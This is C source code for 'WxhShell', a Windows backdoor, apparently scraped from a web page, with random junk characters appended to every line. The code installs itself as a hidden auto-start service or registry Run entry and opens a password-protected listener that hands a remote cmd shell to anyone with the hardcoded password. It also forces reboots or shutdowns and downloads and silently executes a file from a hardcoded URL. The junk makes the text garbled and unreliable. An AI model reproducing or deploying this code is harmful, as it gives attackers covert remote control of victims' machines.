    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?1[go+56X  
    if(Boot(SHUTDOWN)) c  xX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DO0["O74  
    else { |S.-5CAh4  
    closesocket(wsh); "=Ziy4V  
    ExitThread(0); T\]z0M  
    } ,C CIg9Pt  
    break; M#:Mwa$  
    } \Oc3rJ(  
  // 获取shell 4u /?..L.  
  case 's': { Y#Hf\8r,d  
    CmdShell(wsh); ljNd!RaB  
    closesocket(wsh); a ZfX |  
    ExitThread(0); D7=gUm >  
    break; 04,]upC${W  
  } R=E )j^<F  
  // 退出 9'T(Fc  
  case 'x': { /  ]I]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z'u`)jR  
    CloseIt(wsh); B^KC~W  
    break; /at#[Pw~01  
    } }+u<^7$g|  
  // 离开 j| 257D  
  case 'q': { {6~W2zX&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DTJ~.  
    closesocket(wsh); wD*_S}]  
    WSACleanup(); =!p6}5Z  
    exit(1); &gq\e^0CRZ  
    break; 1W; +hXx  
        } T,;6q!s=  
  } inp=-  
  } a1s=t_wT  
ne;,TJ\  
  // 提示信息 &oAuh?kTq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T6{IuQjXs  
} i8 dv|oa  
  } (=7e~'DC  
ZZ4W?);;  
  return; cnI!}Bu  
} _7 n+j  
\b' <q  
// shell模块句柄 bZ0r/f,n$  
int CmdShell(SOCKET sock) }J:~}?^%n  
{ .lqo>Ta y  
STARTUPINFO si; rJR"[TTJ  
ZeroMemory(&si,sizeof(si)); n#m )]YQC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2p@S-Lp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h v9s  
PROCESS_INFORMATION ProcessInfo; E4WoKuE1$  
char cmdline[]="cmd"; @!K)(B;A0b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UP#]n 69y  
  return 0; {N>VK*  
} {X8F4  
PF4Cs3m/  
// 自身启动模式 "&7v.-Y k(  
int StartFromService(void) %vMi kibI  
{ YsLEbue   
typedef struct #K  ]k  
{ IUI >/87u  
  DWORD ExitStatus; 3dC8MKPq0  
  DWORD PebBaseAddress; m,Os$>{Ok  
  DWORD AffinityMask; Z!tt(y\  
  DWORD BasePriority; rjfQ\W;}U  
  ULONG UniqueProcessId; (3 B; V  
  ULONG InheritedFromUniqueProcessId; ]W]Vkkg]  
}   PROCESS_BASIC_INFORMATION; 0gxbo  
?e yo2:-$  
PROCNTQSIP NtQueryInformationProcess; ij%\ld9kd  
:0V<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0hCJovSG%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `y m^0x8  
CkIICx  
  HANDLE             hProcess; KeY)%{  
  PROCESS_BASIC_INFORMATION pbi; LkNC8V  
$Nnz |y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :Bda]]Y=  
  if(NULL == hInst ) return 0; trg+" )a  
pbAQf3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *O+YhoR?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); evZ{~v& /  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x1wm]|BIf  
1vi<@i,  
  if (!NtQueryInformationProcess) return 0; 0 E{$u  
{b} ?I4)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +d]}  
  if(!hProcess) return 0; u|B\@"0  
\O`B@!da~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |Q.t]TR'P  
w#]%I+  
  CloseHandle(hProcess); mG\,T3/*  
.#Z}}W#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^D"}OQoh  
if(hProcess==NULL) return 0; s +^YGB  
mJ[LmQ<:  
HMODULE hMod; 7G!SlC X}W  
char procName[255]; $d4eGL2S  
unsigned long cbNeeded; ^[lg1uMW  
vY6eg IO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;?bRRW  
pn>zuH e  
  CloseHandle(hProcess); pT:CvJ  
Yw4c`MyL  
if(strstr(procName,"services")) return 1; // 以服务启动 {WT"\Xj>B?  
}G_ i+  
  return 0; // 注册表启动 lzw3 x  
} I3p ~pt2  
6D@tCmmq  
// 主模块 'd(OFE-hn  
int StartWxhshell(LPSTR lpCmdLine) KhYGiVA  
{ cBiv=!n  
  SOCKET wsl; On d"Eq=r  
BOOL val=TRUE; yUqvF6+26  
  int port=0; >J|I  
  struct sockaddr_in door; q^>$YY>F  
p~$\@8@  
  if(wscfg.ws_autoins) Install(); p~DlZk"  
'&'? S  
port=atoi(lpCmdLine); ;F"W6G  
'P39^rb  
if(port<=0) port=wscfg.ws_port; tbl!{Qwx  
6t<~. 2'  
  WSADATA data; DTI+VY .W^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,bKA]#(2  
:$j!e#?=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %t`a-m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hQ#'_%:  
  door.sin_family = AF_INET; k-Le)8+b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {.DI[@.g  
  door.sin_port = htons(port); &X9#{:l=  
[P`Q_L,+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #c./<<P5}  
closesocket(wsl); 's(0>i  
return 1; WOz dYeeG  
} SG$/v  
0&$e:O'v  
  if(listen(wsl,2) == INVALID_SOCKET) { &7XB $  
closesocket(wsl); #AFr@n  
return 1; 0+m"eGwTm  
} ]nEN3RJ  
  Wxhshell(wsl); l92#F*  
  WSACleanup(); 9v_gR52vh  
to(OVg7_  
return 0; 0[x?Q[~S_0  
8HxB\ !0F?  
} #<MLW4P  
w(<; $9  
// 以NT服务方式启动 gjk=`lU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rb qH9 S  
{ 8~Rja  
DWORD   status = 0; ig7)VKr  
  DWORD   specificError = 0xfffffff;  QSmE:Y  
*B#<5<T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5MO:hE5sm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [="moh2*f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GL.& g{$#+  
  serviceStatus.dwWin32ExitCode     = 0; kS[k*bN0  
  serviceStatus.dwServiceSpecificExitCode = 0; pzCD' !*  
  serviceStatus.dwCheckPoint       = 0; uZW ?0W  
  serviceStatus.dwWaitHint       = 0; |Gzd|$%Oq  
|bVNlL"xN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xa Yx avq  
  if (hServiceStatusHandle==0) return; >OBuHqC  
Gg{@]9  
status = GetLastError(); 4;7<)&#h  
  if (status!=NO_ERROR) >8#(GXnSt  
{ *;1G+Q#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #Jq@p_T"  
    serviceStatus.dwCheckPoint       = 0; hUxpz:U*  
    serviceStatus.dwWaitHint       = 0; cSnm\f  
    serviceStatus.dwWin32ExitCode     = status; k9w<0h3  
    serviceStatus.dwServiceSpecificExitCode = specificError; jgs kK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]j}zN2[A  
    return; &YmOXKf7  
  } fc+P`r  
gOx4qxy/m|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4&R\6!*s  
  serviceStatus.dwCheckPoint       = 0; v'Tk Kwl  
  serviceStatus.dwWaitHint       = 0; fu?>O /Gn/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  /e!/  
} {o*ziZh  
R5H UgI  
// 处理NT服务事件,比如:启动、停止 wGBQ.Ve[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '.#KkvE##  
{ aGr(djD  
switch(fdwControl) (t&P. N/  
{ T=ox;r  
case SERVICE_CONTROL_STOP: +7|Oy3s  
  serviceStatus.dwWin32ExitCode = 0; qWy{{ A+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CDO _A\  
  serviceStatus.dwCheckPoint   = 0; %Jq(,u  
  serviceStatus.dwWaitHint     = 0; q}M^i7IE  
  { C' o4Su#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VVYQIR]!yk  
  } @433?g`2b  
  return; TXH: +mc  
case SERVICE_CONTROL_PAUSE: #OJsu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3r%I *  
  break; b,#cc>76\  
case SERVICE_CONTROL_CONTINUE: ahhVl=9/ao  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ygd'Nh!@  
  break; Rqa#;wb!(  
case SERVICE_CONTROL_INTERROGATE: 6K[s),rdv  
  break; _U.8\J2  
}; aCMF[ 3j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 66[yL(*+  
} nR!qolh  
) ok_"wB  
// 标准应用程序主函数 s><RL]+{G+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +7sdQCO(Co  
{ b! PN6<SI  
WLDt5R  
// 获取操作系统版本 h}g _;k5R  
OsIsNt=GetOsVer(); >Djv8 0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sq@Eu>Ng(X  
5\S)8j `8  
  // 从命令行安装 <$Q&n{  
  if(strpbrk(lpCmdLine,"iI")) Install(); .Uh-Wi[  
8:huWjh]M  
  // 下载执行文件 sog?Mvoq  
if(wscfg.ws_downexe) { #v89`$#`2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SdnqM`uFo  
  WinExec(wscfg.ws_filenam,SW_HIDE); aS'G&(_  
} DJr 8<u  
:uu\q7@'  
if(!OsIsNt) { 1k-^LdDj  
// 如果时win9x,隐藏进程并且设置为注册表启动 nm*1JA.:  
HideProc(); {S~2m2up0L  
StartWxhshell(lpCmdLine); [77]0V7  
} =uKK{\+|Y  
else 0 -=onX  
  if(StartFromService()) ZZ]/9oiF%  
  // 以服务方式启动 A^3cP, L  
  StartServiceCtrlDispatcher(DispatchTable); [\@!~F{  
else YZr^;jfP  
  // 普通方式启动 b1\z&IdC  
  StartWxhshell(lpCmdLine); QEQ8gfN9>  
Kcsje_I-M  
return 0; /fBZRdB  
} wI#rAx7f-  
(x&#>5  
+M-' K19  
+ulX(u(,  
=========================================== IN , @  
["Z]K'?P  
~ W52Mbf  
`w[0q?}"`  
FGy7KVR  
v~L} :  
" 8{4I6;e-  
d,8V-Dk+p  
#include <stdio.h> `axNeqM  
#include <string.h> 3P^eD:) w  
#include <windows.h> MR#jI  
#include <winsock2.h> D7sw;{ns  
#include <winsvc.h> '=\]4?S  
#include <urlmon.h> #U"\v7C{n  
Hu1w/PLq  
#pragma comment (lib, "Ws2_32.lib") qAivsYN*  
#pragma comment (lib, "urlmon.lib") .NQoqXR  
v;JY;Uh|  
#define MAX_USER   100 // 最大客户端连接数 m-, '  
#define BUF_SOCK   200 // sock buffer Z !wDh_  
#define KEY_BUFF   255 // 输入 buffer E 7;KG^  
:}+U?8/"7  
#define REBOOT     0   // 重启 31w?bx !Pp  
#define SHUTDOWN   1   // 关机 yc_(L-'n  
dQ/Xs.8  
#define DEF_PORT   5000 // 监听端口 K4,VSy1byI  
i:qc2#O:J  
#define REG_LEN     16   // 注册表键长度 z*zLK[t+  
#define SVC_LEN     80   // NT服务名长度 u'yePJTE  
[9[tn -  
// 从dll定义API v:JFUn}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \@MGO aR]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~AjbF(Ad  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $`{}4,5M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); azj<aaH  
3|P P+<o  
// wxhshell配置信息 rH8?GR0<  
struct WSCFG { )K8JDP  
  int ws_port;         // 监听端口 ir \d8.  
  char ws_passstr[REG_LEN]; // 口令 djZOx;/  
  int ws_autoins;       // 安装标记, 1=yes 0=no P)(Ly5$*  
  char ws_regname[REG_LEN]; // 注册表键名 D;BFl(l  
  char ws_svcname[REG_LEN]; // 服务名 kki]6_/n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [MFV:Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P@k ;Lg"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YjvqU /[3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vxo3RwmR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" */O6cF7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1V FAfv%}  
m4>v S  
}; +&(sZFW5o  
'9{H(DA  
// default Wxhshell configuration I/XVo2Ee  
struct WSCFG wscfg={DEF_PORT, 'ZL)-kbI  
    "xuhuanlingzhe", 9I]*T  
    1, OFQsfW3O  
    "Wxhshell", 9 r+' o#  
    "Wxhshell", dkG-Yz~  
            "WxhShell Service", ,i>5\Yl%  
    "Wrsky Windows CmdShell Service", U~Uxs\0:  
    "Please Input Your Password: ", luat1#~J  
  1, BIw9@.99B-  
  "http://www.wrsky.com/wxhshell.exe", ^~=o?VtBg  
  "Wxhshell.exe" `.L8<-]W  
    }; 4)v\Dc/9i  
< g6 [mS  
// 消息定义模块 KXicy_@DC`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B<8Z?:3YS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [#lPT'l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DFE?H  
char *msg_ws_ext="\n\rExit."; @@SG0YxZ  
char *msg_ws_end="\n\rQuit."; A' dt WD  
char *msg_ws_boot="\n\rReboot..."; WdunI~&.  
char *msg_ws_poff="\n\rShutdown..."; rh$%*l  
char *msg_ws_down="\n\rSave to "; dYf Vox;  
M~ynJ@q  
char *msg_ws_err="\n\rErr!"; z4UeUVfZ}  
char *msg_ws_ok="\n\rOK!"; Pg*ZQE[ME8  
AD*+?%hj  
char ExeFile[MAX_PATH]; ~|l>bf  
int nUser = 0; lYQcQ*-  
HANDLE handles[MAX_USER]; _F,@mQ$!  
int OsIsNt; Ms{v;fT  
-_b}b)2iYN  
SERVICE_STATUS       serviceStatus; 42Kzdo|}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @105 @9F  
CIO&VK  
// 函数声明 `lcpUWn  
int Install(void); NBUM* Z  
int Uninstall(void); @B+  
int DownloadFile(char *sURL, SOCKET wsh); D$#=;H ,  
int Boot(int flag); ~l{CUQU  
void HideProc(void); 1xT^ ,e6  
int GetOsVer(void); Rqvm%sAi  
int Wxhshell(SOCKET wsl); +c\fDVv  
void TalkWithClient(void *cs); K<Iz5+oD  
int CmdShell(SOCKET sock); :rk]o*  
int StartFromService(void); 5-=mtvA:  
int StartWxhshell(LPSTR lpCmdLine); Fc 5g~T  
uysGOyi<u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); crZ\:LeJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _W]3_1Lu  
mgH4)!Z*56  
// 数据结构和表定义 ZVK;m1?'  
SERVICE_TABLE_ENTRY DispatchTable[] = Er~5\9,/<]  
{ CO4*"~']t  
{wscfg.ws_svcname, NTServiceMain}, j&Z:|WniK  
{NULL, NULL} i>b^n+74>  
}; k"GW3E;  
)WKe,:C  
// 自我安装 If]g6 B.=  
int Install(void) |}'}TYX0:  
{ A/BL{ U}  
  char svExeFile[MAX_PATH]; Z^h'&c#  
  HKEY key; '3%!Gi!g  
  strcpy(svExeFile,ExeFile); P`V#Wj4\  
#_|b;cf  
// 如果是win9x系统,修改注册表设为自启动 ,+zLFQC0@  
if(!OsIsNt) { ZFz>" vt@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bv3?WW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NpH)K:$#%  
  RegCloseKey(key); QFDjsd4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *$(9,y\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4vE,nx=  
  RegCloseKey(key); 3ywBq9FGhp  
  return 0; E hd*  
    } X Uh)z  
  } O6k[1C  
} HYW+,ts'  
else { YBHmd  
K _O3DcQ  
// 如果是NT以上系统,安装为系统服务 #l8CUg~Uj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9Tjvc!4_b  
if (schSCManager!=0) >UR-37g{p  
{ "qQU ^FW  
  SC_HANDLE schService = CreateService b>I -4  
  ( $~zqt%}  
  schSCManager, ) ,*&rd!  
  wscfg.ws_svcname, A+;]# 1y(D  
  wscfg.ws_svcdisp, Gh42qar`  
  SERVICE_ALL_ACCESS, 1c?,= ;>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #Cbn"iYee  
  SERVICE_AUTO_START, Z-]d_Y~m4  
  SERVICE_ERROR_NORMAL, 3lA<{m;V  
  svExeFile, k{"~G#GwP  
  NULL, ZN G.W0{p  
  NULL, RQ}x7< /{  
  NULL, ;) (qRZd6  
  NULL, Qzb8*;4?FF  
  NULL ROQk^  
  ); $ZwsTV]x  
  if (schService!=0) stoBjDS  
  { KC8A22  
  CloseServiceHandle(schService); |MTgKEsn  
  CloseServiceHandle(schSCManager); uR@\/6!@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H-7*)D  
  strcat(svExeFile,wscfg.ws_svcname); lE=Q(QUr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^>[DG]g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q& 4Z.(  
  RegCloseKey(key); *R1x^t+)  
  return 0; !>9*$E |  
    } *"j_3vAx  
  } V,|9$A;  
  CloseServiceHandle(schSCManager); 9I30ULm  
} kc/h]B  
} .R biF  
<(#cPV@j  
return 1; b\]"r x (  
} Gash3}+  
N|7<*\o  
// 自我卸载 ckN/_ u3  
int Uninstall(void) LF*3Iw|v  
{ hMhD(X  
  HKEY key; YM+}Mmu  
YN"102CK  
if(!OsIsNt) { ?aO%\<b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _lyP7$[: c  
  RegDeleteValue(key,wscfg.ws_regname); %aL>n=$  
  RegCloseKey(key); My_fm?n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4ol=YGCI_  
  RegDeleteValue(key,wscfg.ws_regname); k]; <PF  
  RegCloseKey(key); |FPx8b;#  
  return 0; 2tn%/gf'm  
  } BQ_\8Qt|  
} R!}B^DVt  
} uyjZmT/-  
else { EX8]i,s|E  
7fnKe2M M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |]r# IpVf  
if (schSCManager!=0) fbo64$!hZ  
{ `acorfpi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wrGd40  
  if (schService!=0) ?R"5 .3  
  { ,<pql!B-  
  if(DeleteService(schService)!=0) { :Q$3P+6a  
  CloseServiceHandle(schService); f_.1)O'83  
  CloseServiceHandle(schSCManager); |(XV '-~  
  return 0; fa5($jJ&  
  } .9 nsW?  
  CloseServiceHandle(schService); xH3SVn(I  
  } >fs-_>1d  
  CloseServiceHandle(schSCManager); v`beql  
} jnH44  
} ecf<(Vl}  
>[ 72]<6  
return 1; Z4h P  
} HzH_5kVW  
W,AIE 6F  
// 从指定url下载文件 &sx/qS#,VL  
int DownloadFile(char *sURL, SOCKET wsh) { H9pF2C  
{ 0Xk;X1Xl  
  HRESULT hr; w[4SuD  
char seps[]= "/"; R&PQ[Xc  
char *token; a7#Eyw^H{  
char *file; Hvor{o5|tB  
char myURL[MAX_PATH]; ,u~\$ Az6  
char myFILE[MAX_PATH]; Wc`Vcn1  
+".&A#wU  
strcpy(myURL,sURL); mn0QVkb}lc  
  token=strtok(myURL,seps); 4_r8ynq{z  
  while(token!=NULL) 7^|3T TK  
  { NSb< 7_L  
    file=token; hw~cS7  
  token=strtok(NULL,seps); BIV]4vl-&  
  } r=&PUT+vt  
%q ja:'k  
GetCurrentDirectory(MAX_PATH,myFILE); jGt'S{  
strcat(myFILE, "\\"); H,3$TNX y  
strcat(myFILE, file); -@^SiI:C  
  send(wsh,myFILE,strlen(myFILE),0); R+!2 j  
send(wsh,"...",3,0); #Kn7 xn[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {"{J*QH  
  if(hr==S_OK) xW"J@OiKL  
return 0; Mh3zl  
else B(^fM!_%-6  
return 1; V!FzVl=G  
]p0m6}B  
} i1aS2gFi_  
}zLe;1Tx  
// 系统电源模块 $8_*LR$  
int Boot(int flag) hc0VS3 k)  
{ mYt(`S*q  
  HANDLE hToken; Txoc  
  TOKEN_PRIVILEGES tkp; r% mN]?u  
z$;%SYI  
  if(OsIsNt) { lD C74g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w2$HP/90j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?kS5=&<  
    tkp.PrivilegeCount = 1; cJE2z2uW0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `5GJ,*{z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uLL#(bhDr  
if(flag==REBOOT) { Tb{,WUJg2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *+@/:$|U  
  return 0; 7*[>e7:A  
} 6e~+@S  
else { j&8 ~X2?*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Oa@X! \  
  return 0; dWm[#,Q?  
} M6DyOe<  
  } G9V zVx#T#  
  else { CqrmdWN  
if(flag==REBOOT) { cRU.   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]/d2*#  
  return 0; !+fHdB  
} eh)J'G]G  
else { ,&)XhO?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) = b)q.2'#  
  return 0; Pv0OoN*eJ{  
} sV[|op  
} 1N#TL"lMS  
d5zzQ]|L  
return 1; w_|WberU  
} iZ_R oJ  
V?Nl%M[b  
// win9x进程隐藏模块 @d4zSG/s5w  
void HideProc(void) QMfYM~o  
{ QAb[M\G  
^OA}#k NTW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *xLMs(gg  
  if ( hKernel != NULL ) zlFl{t  
  { Bq:@ [pCQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;=uHK'{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rx^pGVyg  
    FreeLibrary(hKernel); jq =-Y  
  } AHZ6  
Q g"{F},4  
return; s0nihX1Z-  
} ?TzN?\   
$X\BO&  
// 获取操作系统版本 Ke 'bH  
int GetOsVer(void) C2Y&qX,  
{ Wm3H6o*  
  OSVERSIONINFO winfo; {z.}u5N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4 6e;UUf!d  
  GetVersionEx(&winfo); j|? bva\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \sRRLDj%  
  return 1; <F=j6U7   
  else b0KorUr  
  return 0; ^k-H$]  
} yyA/x,  
5h20\b?=$  
// 客户端句柄模块 /n"A%6S  
int Wxhshell(SOCKET wsl) Jv)]7u  
{ (.n" J2qj  
  SOCKET wsh; >StvP=our  
  struct sockaddr_in client; 1eb1Lvn  
  DWORD myID; =,0E3:X^  
q_oYI3  
  while(nUser<MAX_USER) Ap97Zcw  
{ ZFdQ Z=.'  
  int nSize=sizeof(client); gV`:eNo*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sO(Kpo9jq  
  if(wsh==INVALID_SOCKET) return 1; s;5PHweWf  
JL(*peeu3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); txL5' mK  
if(handles[nUser]==0)  &`@Jy|N\  
  closesocket(wsh); jR/X}XQtY  
else @pG\5Jnf  
  nUser++; !P:hf/l[B  
  } qC3 rHT]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -<s?`Rnk  
iK.MC%8?  
  return 0; kYR&t}jlCg  
} j+c)%  
PN.=])7T  
// 关闭 socket U9N}6a=  
void CloseIt(SOCKET wsh) %NAz(B  
{ @Sv  ?Ar  
closesocket(wsh); :'rXu6c-  
nUser--; o oS4F1ta  
ExitThread(0); ' !_44  
} ?Rl*5GRW  
M_XZOlW5  
// 客户端请求句柄 !-;Me&"I=`  
void TalkWithClient(void *cs) h.7 1O"N  
{ MA1,;pv6  
%{Ls$Y)  
  SOCKET wsh=(SOCKET)cs; \<PX'mnO  
  char pwd[SVC_LEN]; @D60  
  char cmd[KEY_BUFF]; 'wQ=b  
char chr[1]; sJ0y3)PQ  
int i,j; # =322bnO  
zD?$O7 |ZK  
  while (nUser < MAX_USER) { \T[*|"RFZ  
chiQ+  
if(wscfg.ws_passstr) { Ar):D#D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }& 1_gn15  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J#X7Ss  
  //ZeroMemory(pwd,KEY_BUFF); 3~ZtAgih%  
      i=0; :X$&g sT/,  
  while(i<SVC_LEN) { 4XKg3l1  
<~Y4JMr"  
  // 设置超时 YobIbpo  
  fd_set FdRead; r^\^*FD |  
  struct timeval TimeOut; Q5jP`<zWU  
  FD_ZERO(&FdRead); Z]Qm64^I  
  FD_SET(wsh,&FdRead); Y@r#:BH )  
  TimeOut.tv_sec=8; o 86}NqK  
  TimeOut.tv_usec=0; kv'n W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {Qhv HV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D!X{9q}S1  
-iW[cj R`$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .z{7 rH  
  pwd=chr[0]; EG1SIEo  
  if(chr[0]==0xd || chr[0]==0xa) { g^]Q*EBa  
  pwd=0; UIu'x_qc  
  break; klx4Mvq+/@  
  } "?N`9J|j)~  
  i++; @lj  
    } Cw+ (,1  
Ia(A&Za  
  // 如果是非法用户,关闭 socket $h$+EE!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (te \!$  
} %WO;WxG8^  
YqDw*S{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2>H\arEstR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1fC|_V(0  
ZU:gNO0  
while(1) { _QErQ^`  
Sqb#U{E  
  ZeroMemory(cmd,KEY_BUFF); Xajjzl\b  
>"Hj=?  
      // 自动支持客户端 telnet标准   ]Wy V bIu  
  j=0; NuP@eeF>,  
  while(j<KEY_BUFF) { ]-AT(L >  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z6 aT%7}}  
  cmd[j]=chr[0]; 3'']q3H  
  if(chr[0]==0xa || chr[0]==0xd) { l'o}4am  
  cmd[j]=0; P/ y-K0u  
  break; ^X_%e|  
  } f9&D1Gh+w  
  j++; ^Krkf4fO  
    } pa\]@;P1  
pr m  
  // 下载文件 ^L'K?o  
  if(strstr(cmd,"http://")) { - jyD!(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nh+$'6yT%  
  if(DownloadFile(cmd,wsh)) s0`uSQ2X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IBuuZ.=j2h  
  else .*zQ\P  
